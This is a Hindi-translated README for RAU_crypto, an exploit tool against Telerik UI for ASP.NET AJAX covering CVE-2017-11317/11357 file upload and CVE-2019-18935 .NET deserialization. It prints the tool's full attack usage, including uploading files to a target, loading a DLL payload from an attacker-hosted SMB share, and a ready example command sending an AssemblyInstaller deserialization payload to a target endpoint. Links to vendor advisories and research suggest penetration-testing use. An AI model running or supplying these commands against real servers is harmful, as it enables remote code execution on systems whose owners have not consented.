RAU_crypto

Telerik UI for ASP.NET AJAX के लिए संयुक्त एक्सप्लॉइट।

• CVE-2017-11317 और CVE-2017-11357 के लिए फ़ाइल अपलोड - स्वचालित रूप से फ़ाइल अपलोड करेगा
• CVE-2019-18935 के लिए .NET डिसीरियलाइज़ेशन

अब लक्ष्य की एक हमलावर-होस्टेड SMB सेवा से रिमोट पेलोड खींचने की क्षमता का परीक्षण करने का समर्थन करता है। आवश्यक पूर्व-आवश्यकताओं के स्थान पर होने का परीक्षण करने के लिए Burp Collaborator और/या Responder का उपयोग करें।

शोषण के काम करने के लिए, आमतौर पर आपको हार्ड कोडेड कुंजियों वाले संस्करण की आवश्यकता होती है, या आपको कुंजी जानने की आवश्यकता होती है, उदाहरण के लिए यदि आप web.config की सामग्री का खुलासा कर सकते हैं। एक्सप्लॉइट Telerik.Web.UI.WebResource.axd?type=rau के साथ उपयोग किए जाने वाले rauPostData के सीधे डिक्रिप्शन और एन्क्रिप्शन की भी अनुमति देता है।

आवश्यकताएँ

• python >= 3.6 जिसमें pycryptodome हो (https://www.pycryptodome.org/en/latest/src/installation.html) - pip3 install pycryptodome या pip3 install pycryptodomex से इंस्टॉल किया जाता है

exploit-db पर प्रकाशित (पुराना संस्करण)

• https://www.exploit-db.com/exploits/43874/

यह भी देखें

मेरा दूसरा Telerik UI एक्सप्लॉइट (CVE-2017-9248 के लिए) भी संभवतः रुचिकर होगा। यह यहाँ उपलब्ध है:

• https://github.com/bao7uo/dp_crypto

करने के लिए

• बाद के संस्करणों के लिए गायब HMAC कार्यक्षमता।
• कस्टम कुंजी निर्दिष्ट करने की क्षमता।
• मिश्रित मोड dll के निष्पादन के लिए कमांड लाइन आर्गुमेंट (इस बीच नीचे दिए गए उदाहरण .NET डिसीरियलाइज़ेशन पेलोड का उपयोग करें)।
• रिमोट (SMB) होस्टेड मिश्रित मोड dlls की क्षमता परीक्षण और लोड करने के लिए कमांड लाइन आर्गुमेंट
• मिश्रित मोड dll के परीक्षण के लिए अलग उपयोगिता।
• मिश्रित मोड dll के लिए स्रोत कोड/संकलन निर्देश प्रदान करें।
• ब्रूट फोर्स संस्करण।

नोट - अंतिम चार आइटम पूर्ण हैं लेकिन जारी नहीं किए गए हैं।

कमजोरियाँ

फ़ाइल अपलोड (CVE-2017-11317) कमजोरी दूसरों द्वारा खोजी गई थी, मेरा मानना है कि श्रेय @straight_blast @pwntester @olekmirosh को जाता है। इसकी घोषणा के कुछ ही समय बाद, मुझे अपने काम के दौरान Telerik लाइब्रेरी मिली, इसलिए मैंने इसका और कमजोरी का शोध किया और जुलाई 2017 में यह एक्सप्लॉइट लिखा। मैंने संबंधित असुरक्षित प्रत्यक्ष ऑब्जेक्ट संदर्भ के लिए CVE-2017-11357 की भी रिपोर्ट की।

https://www.telerik.com/support/kb/aspnet-ajax/upload-%28async%29/details/insecure-direct-object-reference

.NET डिसीरियलाइज़ेशन (CVE-2019-18935) कमजोरी @mwulftange द्वारा खोजी गई थी।

https://www.telerik.com/support/kb/aspnet-ajax/details/allows-javascriptserializer-deserialization

उपयोग

$ ./RAU_crypto.py -h

RAU_crypto by Paul Taylor / @bao7uo 
CVE-2017-11317, CVE-2019-18935 - Telerik RadAsyncUpload hardcoded keys / arbitrary file upload / .NET deserialisation

Usage:

Decrypt a ciphertext:               -d ciphertext
Decrypt rauPostData:                -D rauPostData
Encrypt a plaintext:                -e plaintext

Generate file upload rauPostData:   -E c:\\destination\\folder Version
Generate all file upload POST data: -p c:\\destination\\folder Version ../local/filename
Upload file:                        -P c:\\destination\\folder Version c:\\local\\filename url [proxy]

Generate custom payload POST data : -c partA partB
Send custom payload:                -C partA partB url [proxy]

Check remote SMB payload capability -r lhost url [proxy]

Load remote SMB dll payload         -R lhost/share/mixed_mode_assembly.dll url [proxy]\n\n" +
Trigger local uploaded dll payload  -L c:/users/public/documents/mixed_mode_assembly.dll url [proxy]\n\n" +

Example URL:               http://target/Telerik.Web.UI.WebResource.axd?type=rau
Example Version:           2016.2.504
Example optional proxy:    127.0.0.1:8080

N.B. Advanced settings e.g. custom keys or PBKDB algorithm can be found by searching source code for: ADVANCED_SETTINGS

$

उदाहरण - डिक्रिप्शन

Decrypt screenshot

उदाहरण - मनमाना फ़ाइल अपलोड

Upload screenshot

कस्टम पेलोड (.NET डिसीरियलाइज़ेशन)

.NET डिसीरियलाइज़ेशन के लिए कस्टम पेलोड के विवरण के लिए, @mwulftange द्वारा एक बेहतरीन लेख है, जिन्होंने Code White ब्लॉग पर इस कमजोरी की खोज की, निम्नलिखित लिंक पर।

• https://codewhitesec.blogspot.com/2019/02/telerik-revisited.html

अद्यतन - Caleb Gross @noperator द्वारा एक वैकल्पिक एक्सप्लॉइट है, जो इस एक्सप्लॉइट की सुविधाओं को शामिल करता है, एक बेहतरीन ब्लॉग लेख के साथ जो सब कुछ समझाता है। RAU_Crypto में योगदान के लिए Caleb को भी धन्यवाद।

• https://know.bishopfox.com/research/cve-2019-18935-remote-code-execution-in-telerik-ui

अन्य प्रासंगिक लिंक।

• https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
• https://threatvector.cylance.com/en_us/home/implications-of-loading-net-assemblies.html
• https://thewover.github.io/Mixed-Assemblies/

उदाहरण .NET डिसीरियलाइज़ेशन पेलोड:

$ ./RAU_crypto.py -C '{"Path":"file:///c:/users/public/documents/mixedmode64.dll"}' 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' http://target/Telerik.Web.UI.WebResource.axd?type=rau

मिश्रित मोड DLL के लिए, मेरा अन्य GitHub रिपॉजिटरी देखें:

• https://github.com/bao7uo/MixedUp

विशेष धन्यवाद @irsdl को जिन्होंने कस्टम पेलोड सुविधा को प्रेरित किया।

श्रेय @rwincey को जिन्होंने रिमोट dll सुविधा को प्रेरित किया।